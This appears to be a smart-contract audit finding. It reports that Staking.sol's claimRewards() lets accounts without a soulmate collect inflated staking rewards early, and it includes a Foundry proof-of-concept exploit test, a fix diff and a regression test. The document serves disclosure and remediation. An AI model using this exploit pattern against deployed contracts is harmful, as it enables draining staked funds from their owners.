Summary
Missing validation checks in the Staking.sol::claimRewards()
function will allow users without soulmates to claim rewards without staking tokens for at least a week and receive more than they deserve.
Vulnerability Details
In the Staking.sol::claimRewards()
function, there is a code block that, if this is the first time the user is claiming the rewards, sets the timestamp of the last claim to the creation timestamp of the Soulmate NFT:
if (lastClaim[msg.sender] == 0) {
@> lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
This timestamp is later used to determine the number of tokens to reward the caller:
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
soulmateContract.idToCreationTimestamp()
will return 0
if the caller initiates Soulmate.sol::mintSoulmateToken()
but still waits for a soulmate to be assigned.
soulmateContract.idToCreationTimestamp()
will return the creation timestamp of the token with id 0
if the caller didn't initiate Soulmate.sol::mintSoulmateToken()
.
This will allow users who do not have soulmates to claim rewards without staking tokens for at least a week, and potentially claim more rewards than they would normally be eligible for.
In the end, this vulnerability has the potential to cause a drain of funds from the staking vault.
Impact
Users without soulmates can claim rewards without staking tokens for at least a week and receive more than they deserve.
Proof of Concept (PoC)
[1] The attacker mints a Soulmate NFT.
[2] The attacker claims ERC20 tokens from the Airdrop contract.
[3] The attacker transfers the ERC20 tokens to another account they control, which doesn't hold a Soulmate NFT.
[4] Using an account that doesn't hold a Soulmate NFT, the attacker attempts to find a soulmate.
[5] The attacker stakes ERC20 tokens using an account that doesn't yet have a soulmate assigned but holds ERC20 tokens.
[6] The attacker claims rewards without staking tokens for at least a week and receives more than they deserve.
Add the following test in StakingTest.t.sol
:
function test_usersWithoutSoulmatesCanClaimMoreRewardsWithoutStakingLongEnough(address random) public {
vm.assume(random != address(soulmateContract) && random != address(loveToken) &&
random != address(stakingContract) && random != address(airdropContract) &&
random != address(airdropVault) && random != address(stakingVault)
);
assertEq(soulmateContract.soulmateOf(random), address(0));
_mintOneTokenForBothSoulmates();
uint256 mockedBlockTimestamp = 1707973127;
vm.warp(mockedBlockTimestamp);
uint256 amountToStake = 1;
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(random, amountToStake);
vm.stopPrank();
assertEq(loveToken.balanceOf(random), amountToStake);
uint256 stakingVaultTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(random);
vm.startPrank(random);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
assertEq(stakingContract.userStakes(random), amountToStake);
stakingContract.claimRewards();
stakingContract.withdraw(amountToStake);
vm.stopPrank();
uint256 stakingVaultTokenBalanceAfterRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceAfterRewardsClaim = loveToken.balanceOf(random);
assertGt(userTokenBalanceAfterRewardsClaim, userTokenBalanceBeforeRewardsClaim);
assertEq(stakingVaultTokenBalanceAfterRewardsClaim, stakingVaultTokenBalanceBeforeRewardsClaim - (userTokenBalanceAfterRewardsClaim - amountToStake));
}
Run a test with forge test --mt test_usersWithoutSoulmatesCanClaimMoreRewardsWithoutStakingLongEnough
.
Tools Used
Recommendations
Revert the transaction if the sender doesn't have a soulmate.
Recommended changes to the Staking.sol::claimRewards()
function:
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Staking__NoMoreRewards();
error Staking__StakingPeriodTooShort();
+error Staking__UsersWithoutSoulmateCannotClaimRewards();
function claimRewards() public {
+ if (soulmateContract.soulmateOf(msg.sender) == address(0)) {
+ revert Staking__UsersWithoutSoulmateCannotClaimRewards();
+ }
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}
Add the following import and test in StakingTest.t.sol
:
import {Staking} from "../../src/Staking.sol";
function test_claimRewardsRevertsWhenCallerIsWithoutSoulmate(address random) public {
vm.assume(random != address(soulmateContract) && random != address(loveToken) &&
random != address(stakingContract) && random != address(airdropContract) &&
random != address(airdropVault) && random != address(stakingVault)
);
assertEq(soulmateContract.soulmateOf(random), address(0));
_mintOneTokenForBothSoulmates();
uint256 mockedBlockTimestamp = 1707973127;
vm.warp(mockedBlockTimestamp);
uint256 amountToStake = 1;
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(random, amountToStake);
vm.stopPrank();
assertEq(loveToken.balanceOf(random), amountToStake);
uint256 stakingVaultTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(random);
vm.startPrank(random);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
assertEq(stakingContract.userStakes(random), amountToStake);
vm.expectRevert(Staking.Staking__UsersWithoutSoulmateCannotClaimRewards.selector);
stakingContract.claimRewards();
vm.stopPrank();
}
Run a test with forge test --mt test_claimRewardsRevertsWhenCallerIsWithoutSoulmate
.